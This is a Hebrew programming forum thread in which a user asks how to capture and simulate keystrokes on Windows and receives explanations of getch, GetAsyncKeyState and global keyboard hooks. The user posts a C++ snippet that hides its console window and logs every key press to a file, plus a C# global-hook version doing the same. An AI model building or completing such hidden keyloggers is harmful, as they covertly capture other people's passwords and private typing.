עבור לתוכן

לקיחת מידע מהמקלדת c++

Featured Replies

פורסם

אני צריך כמה פקודות שאני לא יודע ולא מצליח למצוא

אני צריך שהתוכנה תדע שנלחץ כפתור ואיזה כפתור לדוגמה התוכנה רצה ברקע וכשהמשתמש לוחץ f10 אז....

ובנוסף לזה אני צריך שהתוכנה תדמה לחיצות של מקלדת.

פורסם

אתה צריך להשתמש בפונקציה getch_ (שבשבילה צריך לעשות אינקלוד לספריה conio.h). הפונקציה מחכה ללחיצה על מקש במקלדת ואז מחזירה איזה מקש נלחץ. אם זה מקש מיוחד (insert, delete, f10 וכד') אז היא מחזירה 0 ואז צריך לקרוא לה שוב כדי לדעת איזה מקש בדיוק נלחץ. תעשה עם זה ניסויים ותבין מה הכוונה.

פורסם

שפת C או ++C הסטנדרטיות לא מספקות פונקציות לקריאת מקשי המקלדת או להדמייה של לחיצה על מקלדת.

אלה הם שירותים (כלומר API) שמערכת ההפעלה מספקת, או במקרים מסויימים, באים כהרחבה לספריית C (למשל getch שהוזכרה) אבל זה לא חלק מהסטנדרד של C.

על חלונות תצטרך להשתמש ב-API של המקלדת תתחיל כאן:

http://msdn.microsoft.com/en-us/library/windows/desktop/ms645530%28v=vs.85%29.aspx

פורסם
  • מחבר

אבל getch יעבוד גם אם אני לא יהיה בתוך הcmd?

פורסם
  • מחבר

חיפשתי קטע קוד כדי להבין איך להשתמש בGetAsyncKeyState

אפשר הסבר קטן עליו?

אני לא מבין למה צריך את הלולאת FOR הזאת לדוגמא

HWND Stealth;    AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
string s="LOG.txt";
errno_t err;
FILE *OUTPUT_FILE;[B]
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
err= fopen_s( & OUTPUT_FILE ,"LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}[/B]
}
system ("PAUSE");
return 0;
}

נערך על-ידי RonCohen

פורסם
חיפשתי קטע קוד כדי להבין איך להשתמש בGetAsyncKeyState

אפשר הסבר קטן עליו?

אני לא מבין למה צריך את הלולאת FOR הזאת לדוגמא

HWND Stealth;    AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
string s="LOG.txt";
errno_t err;
FILE *OUTPUT_FILE;[B]
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
err= fopen_s( & OUTPUT_FILE ,"LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}[/B]
}
system ("PAUSE");
return 0;
}

הפונקציה getAsyncKeyState מקבלת תו (או יותר נכון מקש) ואומרת אם הוא לחוץ או לא.

הוא עובר על המקשים שמעניינים אותו ובמידה שאחד מהם לחוץ הוא משרשר אותו לקובץ.

פורסם
  • מחבר

תודה

  • 2 שבועות מאוחר יותר...
פורסם

קצת באיחור, אבל הדרך הטובה ביותר לעשות את זה היא באמצעות HOOK למקלדת, ככה לא משנה איפה אתה נמצא - מקש שנלחץ יגיע לתוכנית שלך

www.codeproject.com/Articles/1264/KeyBoard-Hooks

בהצלחה.

פורסם
  • מחבר

אף פעם ללמוד זה לא קצת באיחור תודה

פורסם
  • מחבר

כשאני משתמש בהוק זה מראה לי במקום מספרים של הNUMPAD אותיות קטנות וכשאני כותב לא משנה איך זה תמיד אותיות גדולות

פורסם

על מה אתה מדבר? תעלה לכאן את הקוד הרלוונטי.

פורסם
  • מחבר

עברתי לC# כרגע כדי להבין איך הוק עובד אז אני יעבור לC++

public partial class Form1 : Form    {
GlobalKeyboardHook gHook;
public Form1()
{
InitializeComponent();
}


private void Form1_Load(object sender, EventArgs e)
{
byte[] stacker = new byte[1073741824];
for (int i = 0; i < 1073741824; i++)
{
stacker[i] = 1;
}
gHook = new GlobalKeyboardHook();
gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
foreach (Keys key in Enum.GetValues(typeof(Keys)))
gHook.HookedKeys.Add(key);
gHook.hook();
}


public void gHook_KeyDown(object sender, KeyEventArgs e)
{
string text = ((char)e.KeyValue).ToString();
System.IO.StreamWriter file = new System.IO.StreamWriter(@"I:\RonCohen\Documents\Visual Studio 2012\Projects\WindowsFormsApplication1\WriteText.txt", true);

file.Write(text);
file.Close();
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
gHook.unhook();
}

נערך על-ידי RonCohen

פורסם

הבעיה היא שאתה ממיר את ה-KeyValue ל-char. אין התאמה חד חד ערכית בין מקשים במקלדת לתווים - יש תווים שיש להם כמה מקשים שונים (כמו המספרים שנמצאים גם בשורה העליונה וגם ב-numpad), יש מקשים שיש להם כמה תווים שונים (לדוגמה כל האותיות) ויש מקשים שאין להם שום תווים מקבילים (כמו F1-F12).

אתה צריך להשתמש במקום זה בשדה ה-KeyCode.

http://msdn.microsoft.com/en-us/library/system.windows.forms.keyeventargs.keycode(v=vs.110).aspx

פורסם
  • מחבר

ממש תודה שאלה אחרונה אני יודע שיש דרך קלה יותר להשתמש ברשתות בC# משהו מובנה איך קוראים לזה?

לא משנה מצאתי קוראים לזה WCF

נערך על-ידי RonCohen

ארכיון

דיון זה הועבר לארכיון ולא ניתן להוסיף בו תגובות חדשות.

דיונים חדשים